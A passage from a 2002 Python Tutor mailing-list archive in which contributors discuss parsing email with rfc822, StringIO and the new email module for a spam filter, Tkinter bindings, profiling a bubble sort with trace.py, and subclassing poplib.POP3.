'escape', > 'handler', 'mllib', 'os', 'prepare_input_source', 'quoteattr', > 'saxlib', 'string', 'sys', 'types', 'urllib', 'urlparse', 'xmlreader'] right on the spot, this is what i have: >>> from xml.sax import saxutils >>> dir(saxutils) ['XMLFilterBase', 'XMLGenerator', '_StringTypes', '__builtins__', '__doc__', '__file__', '__name__', 'escape', 'handler', 'os', 'prepare_input_source', 'quoteattr', 'types', 'urllib', 'urlparse', 'xmlreader'] I must be missing something in my freebsd package, i'm going to look at it pierre-yves From joejava@dragoncat.net Sat Feb 23 20:47:40 2002 From: joejava@dragoncat.net (Joel Ricker) Date: Sat, 23 Feb 2002 15:47:40 -0500 Subject: [Tutor] Working with Email question Message-ID: <007201c1bcab$574bcee0$0ba3d6d1@x9k7y2> This is a multi-part message in MIME format. ------=_NextPart_000_006F_01C1BC81.6C982D40 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Wow, things have changed since I've last worked with Python which was in = 1.5(.2?). As a warmup excercise to get back into the swing of things, I want to = write a spam filter. I'm pretty liberal with my e-mail address, which = is great because people can find me but the drawback is of course that = so can all the spammers in the world :( I've got a little script going that does a good job as connecting to a = POP3 server and query for messages and the sort. What I need now is the = ability to dissect those messages for spam. Digging around I found the = libraries for working with MIME data that seems to be related to working = with email but they seem to be more for working with MIME files = (building up files rather that analyzing already created emails). Is = there a library already for working with messages? Something like given = the text of a message, you can easily extract the body, to: lines, etc, = or am I'm going to have to write one myself? Just wanted to check = before I re-invent anything. Thanks Joel =20 ------=_NextPart_000_006F_01C1BC81.6C982D40 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Wow, things have changed since I've = last worked=20 with Python which was in 1.5(.2?).
 
As a warmup excercise to get back into = the swing of=20 things, I want to write a spam filter.  I'm pretty liberal with my = e-mail=20 address, which is great because people can find me but the drawback is = of course=20 that so can all the spammers in the world :(
 
I've got a little script going that = does a good job=20 as connecting to a POP3 server and query for messages and the = sort.  What I=20 need now is the ability to dissect those messages for spam.  = Digging around=20 I found the libraries for working with MIME data that seems to be = related to=20 working with email but they seem to be more for working with MIME files=20 (building up files rather that analyzing already created emails).  = Is there=20 a library already for working with messages?  Something like = given the=20 text of a message, you can easily extract the body, to: lines, etc, = or am=20 I'm going to have to write one myself?  Just wanted to check = before I=20 re-invent anything.
 
Thanks
Joel
 
------=_NextPart_000_006F_01C1BC81.6C982D40-- From sheila@thinkspot.net Sat Feb 23 21:13:27 2002 From: sheila@thinkspot.net (Sheila King) Date: Sat, 23 Feb 2002 13:13:27 -0800 Subject: [Tutor] Working with Email question In-Reply-To: <007201c1bcab$574bcee0$0ba3d6d1@x9k7y2> References: <007201c1bcab$574bcee0$0ba3d6d1@x9k7y2> Message-ID: <5F6C3E44B88@kserver.org> On Sat, 23 Feb 2002 15:47:40 -0500, "Joel Ricker" wrote about [Tutor] Working with Email question: > I've got a little script going that does a good job as connecting to a > POP3 server and query for messages and the sort. What I need now is > the ability to dissect those messages for spam. Digging around I > found the libraries for working with MIME data that seems to be > related to working with email but they seem to be more for working > with MIME files (building up files rather that analyzing already > created emails). Is there a library already for working with > messages? Something like given the text of a message, you can easily > extract the body, to: lines, etc, or am I'm going to have to write one > myself? Just wanted to check before I re-invent anything. It depends on whether you want to handle the attachments or work with the attachments on the email. If all you want to do, is filter on the message headers, then the rfc822 library will be sufficient. If, however, you want to deal with the attachments, you will probably want to use multifile and mimetools. Python 2.2 has a new email module included, which looks to be very nice, but I've been working with it, and: (1) It is not well documented (at least, not from a beginner's point of view) -AND- (2) It is somewhat buggy IMO. For solid performance at this point, I'd recommend rfc822 and if needed, multifile and mimetools. -- Sheila King http://www.thinkspot.net/sheila/ "When introducing your puppy to an adult cat, restrain the puppy, not the cat." -- Gwen Bailey, _The Perfect Puppy: How to Raise a Well-behaved Dog_ From dyoo@hkn.eecs.berkeley.edu Sat Feb 23 21:22:30 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Sat, 23 Feb 2002 13:22:30 -0800 (PST) Subject: [Tutor] Working with Email question [new 'email' module in Python 2.2] In-Reply-To: <007201c1bcab$574bcee0$0ba3d6d1@x9k7y2> Message-ID: On Sat, 23 Feb 2002, Joel Ricker wrote: > Wow, things have changed since I've last worked with Python which was > in 1.5(.2?). > > As a warmup excercise to get back into the swing of things, I want to > write a spam filter. I'm pretty liberal with my e-mail address, which > is great because people can find me but the drawback is of course that > so can all the spammers in the world :( Hi Joel, (If you'd like to use something "out of the box", you may want to look at SpamAssassin: http://spamassassin.taint.org/ There are a lot of subtle issues involved in writing a spam filter, and the SpamAssassin folks apparently have been thinking really hard about those issues. It's not Python, but it's not bad either. *grin*) > Digging around I found the libraries for working with MIME data that > seems to be related to working with email but they seem to be more for > working with MIME files (building up files rather that analyzing > already created emails). Is there a library already for working with > messages? Something like given the text of a message, you can easily > extract the body, to: lines, etc, or am I'm going to have to write one > myself? Just wanted to check before I re-invent anything. Yes, we can use the rfc822 library... wait, wait... [flipping through the library documentation] http://www.python.org/doc/lib/module-email.html Wow! I didn't notice this module before. There's a new 'email' module that was introduced in Python 2.2, and it looks interesting. Does anyone have any experiement with the 'email' module? This might be what you're looking for; it looks like it handles email parsing. Good luck! From joejava@dragoncat.net Sat Feb 23 21:36:38 2002 From: joejava@dragoncat.net (Joel Ricker) Date: Sat, 23 Feb 2002 16:36:38 -0500 Subject: [Tutor] Working with Email question References: <007201c1bcab$574bcee0$0ba3d6d1@x9k7y2> <5F6C3E44B88@kserver.org> Message-ID: <008401c1bcb2$2dc6fa20$0ba3d6d1@x9k7y2> > Python 2.2 has a new email module included, which looks to be very nice, > but I've been working with it, and: > (1) It is not well documented (at least, not from a beginner's point of > view) > -AND- > (2) It is somewhat buggy IMO. For solid performance at this point, I'd > recommend rfc822 and if needed, multifile and mimetools. What I'll need to do is parse the headers for from and to address and also subjects then look at the body for matching keywords -- like PORN ;) I'm not that worried about attachements yet -- but in the future it would be nice to check for those Outlook Transmitted Diseases. So if I'm following the documentation correctly, I'll need to save each message to a local file since all of those mentioned use a file pointer. Then use rfc822 to load in my header and look for any content boundaries. Use those boundaries to load each piece of the body in using Multifile, if no boundaries, just load the whole body. Is that right? Joel From dyoo@hkn.eecs.berkeley.edu Sat Feb 23 21:38:45 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Sat, 23 Feb 2002 13:38:45 -0800 (PST) Subject: [Tutor] Working with Email question [StringIO module] In-Reply-To: <008401c1bcb2$2dc6fa20$0ba3d6d1@x9k7y2> Message-ID: On Sat, 23 Feb 2002, Joel Ricker wrote: > > Python 2.2 has a new email module included, which looks to be very nice, > > but I've been working with it, and: > > (1) It is not well documented (at least, not from a beginner's point of > > view) > > -AND- > > (2) It is somewhat buggy IMO. For solid performance at this point, I'd > > recommend rfc822 and if needed, multifile and mimetools. > > What I'll need to do is parse the headers for from and to address and also > subjects then look at the body for matching keywords -- like PORN ;) I'm > not that worried about attachements yet -- but in the future it would be > nice to check for those Outlook Transmitted Diseases. > > So if I'm following the documentation correctly, I'll need to save each > message to a local file since all of those mentioned use a file pointer. And to avoid writing to a local file, we can use the StringIO module to make strings look like files: http://www.python.org/doc/lib/module-StringIO.html Here's an example: ### >>> from StringIO import StringIO >>> s = "Hello world, this is a test." >>> f = StringIO(s) >>> f.read(1) 'H' >>> f.read(1) 'e' >>> f.read(1) 'l' >>> f.read(1) 'l' >>> f.read(1) 'o' >>> f.seek(0) >>> f.read() 'Hello world, this is a test.' ### From joejava@dragoncat.net Sat Feb 23 21:47:55 2002 From: joejava@dragoncat.net (Joel Ricker) Date: Sat, 23 Feb 2002 16:47:55 -0500 Subject: [Tutor] Working with Email question [new 'email' module inPython 2.2] References: Message-ID: <008d01c1bcb3$c262b060$0ba3d6d1@x9k7y2> ----- Original Message ----- From: Danny Yoo > (If you'd like to use something "out of the box", you may want to look at > SpamAssassin: > > http://spamassassin.taint.org/ > > There are a lot of subtle issues involved in writing a spam filter, and > the SpamAssassin folks apparently have been thinking really hard about > those issues. It's not Python, but it's not bad either. *grin*) I actually ran across that myself but like the idea of building my own (I have a strange compulsion to re-invent the wheel from time to time). Plus it will much better written in Python :) Joel From sheila@thinkspot.net Sat Feb 23 22:18:28 2002 From: sheila@thinkspot.net (Sheila King) Date: Sat, 23 Feb 2002 14:18:28 -0800 Subject: [Tutor] Working with Email question In-Reply-To: <008401c1bcb2$2dc6fa20$0ba3d6d1@x9k7y2> References: <007201c1bcab$574bcee0$0ba3d6d1@x9k7y2> <5F6C3E44B88@kserver.org> <008401c1bcb2$2dc6fa20$0ba3d6d1@x9k7y2> Message-ID: <6323E9A5EE2@kserver.org> On Sat, 23 Feb 2002 16:36:38 -0500, "Joel Ricker" wrote about Re: [Tutor] Working with Email question: > So if I'm following the documentation correctly, I'll need to save each > message to a local file since all of those mentioned use a file pointer. > Then use rfc822 to load in my header and look for any content boundaries. > Use those boundaries to load each piece of the body in using Multifile, if > no boundaries, just load the whole body. Is that right? Well, I don't know if you have to save them to a local file or not. rfc822 will read from stdin (and actually, anything that will read from a file can be made to read from stdin). The mail filters I've read reside on my web host, who hosts my email addresses, and whenever an incoming email message arrives, I have my filters invoked by .qmail (they use Qmail as a Mail Transfer Agent). It sounds like you are trying to retrieve the mail via pop and then filter it. I've not worked with the poplib, but I would assume you could read the messages straight from stdin as the poplib is retrieving them, into an instance of rfc822. If you use rfc822, you have to read in the body separately (rfc822 only reads in the headers). Then you will have to look for the content boundaries or just load the whole body. Yes. When filtering for banned words, you will encounter other problems, such as HTML mark-up and other types of encoding (such as quoted-printable and so on...) -- Sheila King http://www.thinkspot.net/sheila/ "When introducing your puppy to an adult cat, restrain the puppy, not the cat." -- Gwen Bailey, _The Perfect Puppy: How to Raise a Well-behaved Dog_ From sheila@thinkspot.net Sat Feb 23 22:26:46 2002 From: sheila@thinkspot.net (Sheila King) Date: Sat, 23 Feb 2002 14:26:46 -0800 Subject: [Tutor] Working with Email question In-Reply-To: <6323E9A5EE2@kserver.org> References: <007201c1bcab$574bcee0$0ba3d6d1@x9k7y2> <5F6C3E44B88@kserver.org> <008401c1bcb2$2dc6fa20$0ba3d6d1@x9k7y2> <6323E9A5EE2@kserver.org> Message-ID: <639CC261644@kserver.org> On Sat, 23 Feb 2002 14:18:28 -0800, Sheila King wrote about Re: [Tutor] Working with Email question: > The mail filters I've read > reside on my web host, who hosts my email addresses, Actually, that should read: "The mail filters I've WRITTEN reside on my ..." (not "read"). Oops. -- Sheila King http://www.thinkspot.net/sheila/ "When introducing your puppy to an adult cat, restrain the puppy, not the cat." -- Gwen Bailey, _The Perfect Puppy: How to Raise a Well-behaved Dog_ From joejava@dragoncat.net Sat Feb 23 22:34:47 2002 From: joejava@dragoncat.net (Joel Ricker) Date: Sat, 23 Feb 2002 17:34:47 -0500 Subject: [Tutor] Working with Email question References: <007201c1bcab$574bcee0$0ba3d6d1@x9k7y2> <5F6C3E44B88@kserver.org> <008401c1bcb2$2dc6fa20$0ba3d6d1@x9k7y2> <6323E9A5EE2@kserver.org> Message-ID: <00a001c1bcba$4de3d3c0$0ba3d6d1@x9k7y2> ----- Original Message ----- From: Sheila King > Well, I don't know if you have to save them to a local file or not. > rfc822 will read from stdin (and actually, anything that will read from > a file can be made to read from stdin). Right, as Danny was so good as to point out > The mail filters I've read > reside on my web host, who hosts my email addresses, and whenever an > incoming email message arrives, I have my filters invoked by .qmail > (they use Qmail as a Mail Transfer Agent). It sounds like you are trying > to retrieve the mail via pop and then filter it. Correct. I've got two systems that I plan to run a filter through, once that may be possible to get to the physical mailbox files, the other not so the best approach I see is to log in using poplib -- with plans to use IMAP as an option since one mail server supports it. poplib is pretty straightforward, allowing you to easily connect and extract a particular message in a flat file. > I've not worked with > the poplib, but I would assume you could read the messages straight from > stdin as the poplib is retrieving them, into an instance of rfc822. Thats right, poplib reads it in through stdin. Just learned actually that I can fetch just the headers using poplib.top(messagenumber, 0) so then I'll just need to need to fetch the message as a whole and subtract the header -- so I can get just the header and just the body. > If you use rfc822, you have to read in the body separately (rfc822 only > reads in the headers). Ok. Thanks. > Then you will have to look for the content boundaries or just load the > whole body. Yes. When filtering for banned words, you will encounter > other problems, such as HTML mark-up and other types of encoding (such > as quoted-printable and so on...) Right, didn't expect this to be real simple :) But it'll be a learning experience for sure. Thanks Joel From arcege@speakeasy.net Sat Feb 23 22:38:42 2002 From: arcege@speakeasy.net (Michael P. Reilly) Date: Sat, 23 Feb 2002 17:38:42 -0500 Subject: [Tutor] tkinter event question In-Reply-To: ; from wheelege@hotmail.com on Sat, Feb 23, 2002 at 06:38:14PM +1100 References: <20020222080205.A3023@speakeasy.net> Message-ID: <20020223173842.B4991@speakeasy.net> On Sat, Feb 23, 2002 at 06:38:14PM +1100, Glen Wheeler wrote: > > > > You can also use unbind_class(). Unfortunately, it affects every Text > > widget, but it's about the only way to handle the 'default' effect. > > > > There are other advantages of using Entry over Text - if you want a Tab- > > advancing form, Entry widgets will be more friendly. > > > > Hmm, ok. I've converted the one-line fields where I want to bind return > to entry-s, but for purely academic reasons (and curiosity) would creating a > new class which inherited from Text, changed next to nothing, and then > unbind_class()-ing that? I'm not sure, as I've never tried it but it feels > to me like that could work. The only thing that might make it fail is that > there is only one Text widget in tk and unbind_class may either a) not work > on the new class which inherits from Text or b) unbind all the text widgets > anyway. Actually, these aren't Python classes, but are (X11 oriented) widget classes. The bindings are removed inside Tk itself and have little really to do with Tcl, Python or Perl (for Perl/Tk). -Arcege From dsh8290@rit.edu Sat Feb 23 23:06:27 2002 From: dsh8290@rit.edu (dman) Date: Sat, 23 Feb 2002 18:06:27 -0500 Subject: [Tutor] Working with Email question [new 'email' module inPython 2.2] In-Reply-To: <008d01c1bcb3$c262b060$0ba3d6d1@x9k7y2> References: <008d01c1bcb3$c262b060$0ba3d6d1@x9k7y2> Message-ID: <20020223230627.GA13239@dman.ddts.net> On Sat, Feb 23, 2002 at 04:47:55PM -0500, Joel Ricker wrote: | ----- Original Message ----- | From: Danny Yoo | | > (If you'd like to use something "out of the box", you may want to look at | > SpamAssassin: | > | > http://spamassassin.taint.org/ | > | > There are a lot of subtle issues involved in writing a spam | > filter, and the SpamAssassin folks apparently have been thinking | > really hard about those issues. It's not Python, but it's not bad | > either. *grin*) I was going to recommend the same thing! If you want to plug it in with exim as the MTA/MDA the following doc may help : http://dman.ddts.net/~dman/config_docs/exim_spamassassin.html | I actually ran across that myself but like the idea of building my | own (I have a strange compulsion to re-invent the wheel from time to | time). Plus it will much better written in Python :) Certainly it would be better in python ;-). If you're up for heading a translation, great. Just keep up with all the latest-and-greatest improvements (and fixes) the SA team cooks up. (the 'email' module in 2.2 has already been mentioned, so no need to reiterate that) -D -- One man gives freely, yet gains even more; another withholds unduly, but comes to poverty. Proverbs 11:24 From tim.one@comcast.net Sat Feb 23 23:40:18 2002 From: tim.one@comcast.net (Tim Peters) Date: Sat, 23 Feb 2002 18:40:18 -0500 Subject: [Tutor] Working with Email question [new 'email' module in Python 2.2] In-Reply-To: Message-ID: [Danny Yoo] > ... > http://www.python.org/doc/lib/module-email.html > > Wow! I didn't notice this module before. There's a new 'email' module > that was introduced in Python 2.2, and it looks interesting. Does anyone > have any experiement with the 'email' module? Barry Warsaw sure does, since he wrote it . He's also the primary author of GNU Mailman -- that's the program that manages all the Python mailing lists (like, say, this one!). Unfortunately, way too many people have bumped into a bug in the 2.2 email: if a MIME message claims to be multipart, but actually contains only one part, Mailman raises a bogus exception in some contexts. I think Barry never bumped into this because the mail composers he uses never produce MIME that lame (*claiming* that a one-part message is multipart isn't exactly smart). This is fixed in current CVS, and should ship in the 2.2.1 bugfix release, which Michael Hudson is winding down on (so I guess will happen within a few weeks). From tim.one@comcast.net Sun Feb 24 01:17:04 2002 From: tim.one@comcast.net (Tim Peters) Date: Sat, 23 Feb 2002 20:17:04 -0500 Subject: [Tutor] Working with Email question [new 'email' module in Python 2.2] In-Reply-To: <6AD3F866286@kserver.org> Message-ID: [Sheila King] > There are other problems with the email module as well. > ... Sheila, if you belive there's a bug, you should open a bug report. No bug gets fixed by arguing on a mailing list, and I can pretty much guarantee that the email package's author isn't going to see anything said about it unless he reads it in a bug report. A bug report doesn't need a lot of argument unless it proves to be controversial; but since you haven't yet gotten this to the author's attention, you can't yet know whether Barry will love or hate the complaint. It doesn't really matter what Oleg or I may think: we're not the experts for this package. > ... > I hope this doesn't sound like sniping or whining. Ditto: > ... > But I believe that my complaints are valid, and that these are problems > that need to be corrected in the email module. Without a bug report, nothing will change. I often open one for a poster when a posted behavior is obviously a bug, or when the poster seems unable to articulate their case clearly. This one doesn't fit either case, so I'm leaving it to you: http://sf.net/tracker/?group_id=5470&atid=105470 Barry may or may not agree it's a bug, but-- honest --he doesn't bite, except on Thursdays . From sheila@thinkspot.net Sun Feb 24 02:12:14 2002 From: sheila@thinkspot.net (Sheila King) Date: Sat, 23 Feb 2002 18:12:14 -0800 Subject: [Tutor] Working with Email question [new 'email' module in Python 2.2] In-Reply-To: References: <6AD3F866286@kserver.org> Message-ID: <707E65554AE@kserver.org> On Sat, 23 Feb 2002 20:17:04 -0500, Tim Peters wrote about RE: [Tutor] Working with Email question [new 'email' module in Python 2.2]: > Sheila, if you belive there's a bug, you should open a bug report. ...... > A bug report doesn't need a lot of argument unless it proves to be > controversial; but since you haven't yet gotten this to the author's > attention, you can't yet know whether Barry will love or hate the complaint. > It doesn't really matter what Oleg or I may think: we're not the experts > for this package. OK, bug report opened. http://sourceforge.net/tracker/index.php?func=detail&aid=521937&group_id=5470&atid=105470 Sorry for not handling this in the proper manner. I guess I was looking for corroboration or comments or...heck...I dunno. -- Sheila King http://www.thinkspot.net/sheila/ "When introducing your puppy to an adult cat, restrain the puppy, not the cat." -- Gwen Bailey, _The Perfect Puppy: How to Raise a Well-behaved Dog_ From lha2@columbia.edu Sun Feb 24 02:40:29 2002 From: lha2@columbia.edu (Lloyd Hugh Allen) Date: Sat, 23 Feb 2002 21:40:29 -0500 Subject: [Tutor] unrelated bug issue References: Message-ID: <3C78529D.F4E7D754@mail.verizon.net> Tim Peters wrote: > Without a bug report, nothing will change. I often open one for a poster > when a posted behavior is obviously a bug, or when the poster seems unable > to articulate their case clearly. This one doesn't fit either case, so I'm > leaving it to you: > > http://sf.net/tracker/?group_id=5470&atid=105470 > > Barry may or may not agree it's a bug, but-- honest --he doesn't bite, > except on Thursdays . So I tried Ruby for a bit, got frustrated by their ide and figured that I'd try it later in a proper linux environment since the windows version seems to be (I think, anyway) built on CygWin. When I uninstalled Ruby, IDLE stopped working (no message--just didn't start. Command line python worked fine). Turned out that this was because Ruby had put a few lines in the autoexec.bat, one of which said "please use the Tcl library in the Ruby directory", which no longer existed. Cleared out the autoexec.bat, now Python works again. Is this a Python bug (ie, should Python tell the user that the Tcl library doesn't exist or at least give some sort of feedback), a Ruby bug (that the uninstaller didn't clean up after itself), or both? From tim.one@comcast.net Sun Feb 24 06:00:59 2002 From: tim.one@comcast.net (Tim Peters) Date: Sun, 24 Feb 2002 01:00:59 -0500 Subject: [Tutor] unrelated bug issue In-Reply-To: <3C78529D.F4E7D754@mail.verizon.net> Message-ID: [Lloyd Hugh Allen] > So I tried Ruby for a bit, got frustrated by their ide and figured that > I'd try it later in a proper linux environment since the windows version > seems to be (I think, anyway) built on CygWin. When I uninstalled Ruby, > IDLE stopped working (no message--just didn't start. Command line python > worked fine). Turned out that this was because Ruby had put a few lines > in the autoexec.bat, one of which said "please use the Tcl library in > the Ruby directory", which no longer existed. Cleared out the > autoexec.bat, now Python works again. Is this a Python bug (ie, should > Python tell the user that the Tcl library doesn't exist or at least give > some sort of feedback), a Ruby bug (that the uninstaller didn't clean up > after itself), or both? I got a better one: suppose you shoved a banana down your throat, then a carrot in each nostril. Would it then be the banana's or the carrots' fault that you couldn't breathe anymore? That's right: it would be the carrots', because you didn't have any trouble breathing before they wound up in your nose. Or maybe it was the banana's fault after all, since if it weren't there, the carrots' presence wouldn't matter. It's a puzzler. Just so long as it's clear that it's never ever your fault . From usenet@thinkspot.net Sun Feb 24 00:33:03 2002 From: usenet@thinkspot.net (Sheila King) Date: Sat, 23 Feb 2002 16:33:03 -0800 Subject: [Tutor] Working with Email question [new 'email' module in Python 2.2] In-Reply-To: References: Message-ID: <6AD3F866286@kserver.org> [this message has been posted to both the python-list and the python-tutor list, and bcc'd to my co-developers] On Sat, 23 Feb 2002 18:40:18 -0500, Tim Peters wrote about RE: [Tutor] Working with Email question [new 'email' module in Python 2.2]: > Unfortunately, way too many people have bumped into a bug in the 2.2 email: > if a MIME message claims to be multipart, but actually contains only one > part, Mailman raises a bogus exception in some contexts. I think Barry > never bumped into this because the mail composers he uses never produce MIME > that lame (*claiming* that a one-part message is multipart isn't exactly > smart). This is fixed in current CVS, and should ship in the 2.2.1 bugfix > release, which Michael Hudson is winding down on (so I guess will happen > within a few weeks). There are other problems with the email module as well. For example: If one tries to read an email from stdin and there is a problem with the boundaries in an email message, the whole instantiation of the email message fails. When I mentioned this previously, in comp.lang.python, the ONLY response I got was this: http://mail.python.org/pipermail/python-list/2002-February/085521.html At the time I was intimidated by that response, but as time has gone on and I've talked about it with my development partners, my spouse, and had time to reflect on it, I simply disagree. The docs for the email module state: http://www.python.org/doc/2.2/lib/module-email.html "It subsumes most of the functionality in several older standard modules such as rfc822, mimetools, multifile, and other non-standard packages such as mimecntl" But this is not true. I can read ALL of the messages which cause a problem with email module in through rfc822 and parse as much as possible, given the poor email boundaries, and at least have some data to work with. Furthermore, ALL of the messages for which I was unable to instantiate an email instance with the email module in my testing, could be read into my email client (Forte Agent) and the clients my co-developers were using (such as Outlook and Eudora). Here's the deal: When writing software that COMPOSES an email message, one should stick to standards. But when writing software that READS email messages, one should be as fault tolerant as possible. (These are, I believe, general principles of software authoring, right? Not specific to email clients.) If I wanted to write an email client, say, using some GUI package and Python, I could never use the email module as it stands right now, because it would not accept some email. I, as a developer, could certainly not tell my customers, "Oh, well, sorry you were not able to get some of your email. But those were badly formed messages, and so you should just consider those people who sent them lame-o's." In fact, I've found that most such mail appears to be spam. But I don't think this would be very convincing to my customers either. "You lost mail? Well, that's because it was badly formed. It was probably spam." Right now, I'm using the email module in a script I'm working on. It reads a message on stdin as the mail is delivered to the pop mailbox by Qmail. And I LOVE a lot of the functionality that the email module provides. Wonderful. Love the object oriented-ness of it, and the way you can "walk" through the parts of the message. Great. *BUT* in order to get around this problem with the email module, I'm currently capturing the stdin as a string, then attempting to instantiate an instance of an email object, and if that fails, then I resort to parsing with the rfc822 module. I've been considering re-writing the whole thing without the email module and just using rfc822 and multifile/mimetools. This method I'm using now uses too much memory, but if I don't do it this way, and the instantiation of the email object fails, then I've already consumed the stdin input and have no way to get that email any more (it is lost). I hope this doesn't sound like sniping or whining. I do really love the email module (excepting for these instantiation problems), and was drooling over the release of 2.2 partly for this very module. But I believe that my complaints are valid, and that these are problems that need to be corrected in the email module. -- Sheila King http://www.thinkspot.net/sheila/ "When introducing your puppy to an adult cat, restrain the puppy, not the cat." -- Gwen Bailey, _The Perfect Puppy: How to Raise a Well-behaved Dog_ From Jack.Jansen@oratrix.com Sun Feb 24 22:29:24 2002 From: Jack.Jansen@oratrix.com (Jack Jansen) Date: Sun, 24 Feb 2002 23:29:24 +0100 Subject: [Tutor] Re: [Pythonmac-SIG] Re: why the recompile? In-Reply-To: Message-ID: On Saturday, February 23, 2002, at 06:47 PM, Christopher Smith wrote: > In answer to my own question I learned that if one of the > libraries in the > lib_dynload folder is newer than the .pyc files this will cause > the .pyc > files to be rebuilt. I doubt that this is really the problem, at least, I can't imagine why it would be so. I more suspect a problem with modtimes not being preserved and/or different timezones (combined with the way GUSI attempts to convert MacOS's localtime-based timestamps to unix's GMT-based timezones). But if it indeed has to do with a newer file that is totally unrelated to the module being imported then there's a bug in the Mac import code somewhere. Could you try running with "trace import" and "also show failed attempts"? Not sure whether this'll give more information but it's worth a try. -- - Jack Jansen http://www.cwi.nl/~jack - - If I can't dance I don't want to be part of your revolution -- Emma Goldman - From dyoo@hkn.eecs.berkeley.edu Mon Feb 25 00:46:56 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Sun, 24 Feb 2002 16:46:56 -0800 (PST) Subject: [Tutor] RE: [Edu-sig] Analyzing algorithms... (fwd) Message-ID: Hi everyone, People on edu-sig have been talking about ways to analyze the efficiency of their programs. I thought this topic might be pretty interesting for people on Tutor too, so I'm forwarding it here. I have to find some weekend time to look at the scripts in 'Tools/scripts' more closely; the trace.py function looks really darn useful! ---------- Forwarded message ---------- Date: Sun, 24 Feb 2002 17:45:23 -0500 From: Tim Peters To: Jeffrey Elkner , edu-sig@python.org Subject: RE: [Edu-sig] Analyzing algorithms... [Jeffrey Elkner] > After attending Pai Chou's wonderful presentation, "Algorithm Education > in Python" at Python10, I got permission from the instructor of an > algorithms course I am currently taking to do our programming > assignments in Python (after first assuring him that they would not be > difficult to read ;-) > > Our first assignment is to implement merge and heap sort and then to > compare them empirically as to the number of assignments and comparisons > made by each. > > I've written the sorts. Does anyone have any suggestions as to the best > way to do the empirical analysis? Is there a better way than just > creating counters and then littering my code with increment statements? That's what I usually do, but recently a semi-maddening semi-wonderful alternative became available via Tools/scripts/trace.py (in your Python distribution). The maddening part is that it's almost impossible to figure out how to use it: the docs (consisting of a --help message) talk about many options, but there's no overview, and no explantion of what the (non-option) arguments are supposed to be. So here's just-about simplest-possible use explained via example. Here's a file with a poor sort function: C:\Python22>type bubblesort.py def bubble(a): n = len(a) changed = 1 while changed: changed = 0 for i in xrange(n-1): if a[i] > a[i+1]: a[i], a[i+1] = a[i+1], a[i] changed = 1 n -= 1 import random a = range(20) random.shuffle(a) print a bubble(a) print a Now I run it, just to make sure it works: C:\Python22>python bubblesort.py [14, 9, 7, 5, 16, 13, 1, 10, 17, 3, 11, 19, 0, 18, 8, 2, 12, 4, 6, 15] [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19] Now pass the file to trace.py with the "-c" option: C:\Python22>python Tools/scripts/trace.py -c bubblesort.py [8, 12, 0, 6, 11, 16, 4, 17, 7, 10, 18, 2, 1, 9, 15, 19, 13, 5, 3, 14] [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19] That took much longer to run, but it's worth it because of what happens next: it left behind a text file named bubblsort.cover, which *annotates* each source line with the number of times it was executed: C:\Python22>type bubblesort.cover 2: def bubble(a): 2: n = len(a) 1: changed = 1 18: while changed: 16: changed = 0 216: for i in xrange(n-1): 184: if a[i] > a[i+1]: 87: a[i], a[i+1] = a[i+1], a[i] 87: changed = 1 16: n -= 1 . 1: import random 1: a = range(20) 1: random.shuffle(a) 1: print a 1: bubble(a) 1: print a . C:\Python22> It *also* left behind a random.cover file in the Lib directory. Stopping (possibly) unwanted stuff like that is what some of the other options aim at. Note some odd things about the output; in typical use they don't really matter, but if you're after exact counts you have to be aware of them: What trace.py actually counts is the number of SET_LINENO opcodes executed. Because "def" is an executable statement in Python, the count on "def bubble(a)" is actually two: it gets counted once for the time the def statement is executed (which defines the function), and a second time for *calling* the "bubble" function. I can't account for why the count is also two on "n = lan(a)"; looks like a bug. The count on "while 1" is 1 larger than "it should be", because under the covers a special SETUP_LOOP opcode is generated to get the while-loop started, and is executed one per function call. It gets counted against the "while changed:" line because the closest preceding SET_LINENO opcode said the SETUP_LOOP is due to line #4 in the function. The count on the "for" loop is also too large for the same reason, but worse because its hidden SETUP_LOOP opcode is executed (and counted against the "for") once for each iteration of the outer while-loop. As a result, the count on "for" is 16 la rger than expected (it *should* be 16 larger than the count on "if a[i] > ...", not 32 larger). The counts on the "plain old lines" within the loops are on the nose, though, and that's what's really important. Good luck! _______________________________________________ Edu-sig mailing list Edu-sig@python.org http://mail.python.org/mailman/listinfo/edu-sig From garber@centralcatholic.org Mon Feb 25 02:47:18 2002 From: garber@centralcatholic.org (Robert Garber) Date: Sun, 24 Feb 2002 21:47:18 -0500 Subject: [Tutor] (no subject) Message-ID: <200202242147.AA1132331250@centralcatholic.org> Hello All, Here is my question. is it possible to use Python to write a GUI program that will use a video capture card to capture a small video clip usally 8-15 seconds long, then give it a name, and create a relational database that can be sorted any number of differtent ways? I am very NEW to programming as a whole but extremely motivated to learn. This is a small part of a project I eventualy hope to complete. Thanks for any help offered, Robert From joejava@dragoncat.net Mon Feb 25 03:02:35 2002 From: joejava@dragoncat.net (Joel Ricker) Date: Sun, 24 Feb 2002 22:02:35 -0500 Subject: [Tutor] Inheritance Question Message-ID: <001601c1bda8$e3a6cf40$68804cd8@x9k7y2> This is a multi-part message in MIME format. ------=_NextPart_000_0013_01C1BD7E.F7F76880 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Ok, I've now played with rfc822 and the mime related modules to get an = idea of how things work and what direction I want to go. To get a feel = for inheritance, I decided to make up a class called POP3Search which = would inherit from poplib.POP3 (which connects to a pop3 server and = queries for messages) with the extra features of message caching and = search. This is what I have: import poplib class POP3Search(poplib.POP3): """Create a connection to a POP3 mailserver and search for = messages""" =20 def __init__(self, host =3D "", port =3D 110): =20 poplib.POP3(host, port) =20 =20 if __name__ =3D=3D "__main__": s =3D POP3Search("pop3.mailserver") print s.getwelcome() Now my understanding is -- and I guess I'm wrong -- is that POP3Search = will inherit the attributes of POP3 so that getwelcome() when run will: = Look in the child -- since none found, look in the parent -- executes = that and returns the result. getwelcome returns self.welcome -- self in = this case being the parent. Since welcome isn't found in the current = class (POP3Search), find it in the parent (POP3). Any case I'm getting = an error that its not being found: File "C:\PYTHON22\lib\poplib.py", line 172, in getwelcome return self.welcome 